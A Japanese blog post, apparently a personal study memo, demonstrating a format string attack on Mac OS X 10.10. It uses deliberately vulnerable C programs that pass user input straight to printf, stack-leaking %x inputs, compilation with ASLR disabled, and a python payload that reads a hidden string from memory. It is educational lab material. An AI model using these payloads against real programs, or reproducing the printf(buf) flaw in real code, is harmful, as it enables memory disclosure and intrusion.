sekai013's blog

JavaScriptとかを勉強する

Format String Attack でメモリの内容を読み出す Mac OS X 10.10

詰まったのでメモ

Format String Attack とは

// sample.c
#include <stdio.h>

int main() {
  char buf[1024];
  fgets(buf, sizeof(buf), stdin);
  printf(buf);
}

こういう感じで外部からの入力をそのまま printf とかの書式指定文字列として渡してしまっていると,
入力として例えば %x などの書式指定子が与えられたとき, printf("%x") となり, printf に第2引数があると思って, 第2引数があるはずのスタックの場所を見て, その値を読みだしてしまう.
実際に見るとわかりやすい.

% gcc sample.c
sample.c:7:10: warning: format string is not a string literal (potentially insecure)

% echo "%x %x %x" | ./a.out
100 797d9058 0

どこからか値を読み込んでいるのがわかる. コンパイル時にもちゃんと警告が出る.

% echo "aaaa %x %x %x %x %x %x %x %x %x" | ./a.out
aaaa 100 797d9058 0 5d5395b0 77ba1300 0 5d539640 61616161 25207825

% echo "aaaa %8\$x" | ./a.out
aaaa 61616161

printf の第9引数があるべき場所に 61616161 がある. a は \x61 なのでこの 61616161 は buf の先頭4バイトっぽい.
この printf の第9引数があるべき場所に buf が格納されていることがわかる.
%n$x という指定で n+1 番目の引数があるべき場所の値を読むこともできる.

読み出してみる

// readmem.c
#include <stdio.h>

char hidden[] = "hidden";

int main() {
  char buf[1024];

  fgets(buf, sizeof(buf), stdin);
  printf(buf);
  printf("Target Address: %p\n", hidden);
}
% gcc readmem.c -o readmem -m32
readmem.c:10:10: warning: format string is not a string literal (potentially insecure)

% echo "aaaa" | ./readmem
aaaa
Target Address: 0x3d01c

% echo "aaaa" | ./readmem
aaaa
Target Address: 0xfa01c

変数 hidden のアドレスがわかっている状態から値を読めれば成功.
しかし hidden のアドレスはセキュリティ上の都合で実行するたびに変わる(Address Space Layout Randomization, ASLR).
ここでは ASLR を OFF になっていることにする. OS X で ASLR OFF でコンパイルするには -Wl,-no_pie オプションでOK.

% gcc readmem.c -o readmem -m32 -Wl,-no_pie
readmem.c:10:10: warning: format string is not a string literal (potentially insecure)

% echo "aaaa" | ./readmem
aaaa
Target Address: 0x201c

% echo "aaaa %x %x %x %x %x %x %x %x %x %x %x" | ./readmem
aaaa 400 a079a04c 0 0 0 0 0 bffff6dc 400 1eb0 61616161
Target Address: 0x201c

無効化成功. 0x201c の値を読めればOK. buf の先頭にアドレス 0x201c を置いて, %s でその中身を読めばいい.

% python -c 'print "\x1c\x20\x00\x00 %11$s"' | ./readmem
 Target Address: 0x201c

読めない. printf がヌル文字(0x00)見たところで文章終わりと思って %11$s に対応するところを読んで出力してくれないせいですね.
なんとかヌル文字使わずに \x00 を送り込めないかと頑張ってハマってしまったけど, そんなことしなくてもヌル文字以前に書式指定子を置いて読む位置をずらせばよかった. buf の頭が printf の第12引数の位置になっているのでそこから適当に4バイト単位でずらして読めばいい.
%13$ で4バイト分, s!!! でさらに4バイト分ずらしてアドレス4バイトがちょうど printf の第14引数の位置に来るようにする.

% python -c 'print "%13$s!!!\x1c\x20\x00\x00"' | ./readmem
hidden!!! Target Address: 0x201c

成功. やったぜ.

[参考]

書式指定文字列攻撃 - kusano_kの日記

CTF Exploitの練習 - kusano_kの日記

format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー

osx - Documented way to disable ASLR on OS X? - Stack Overflow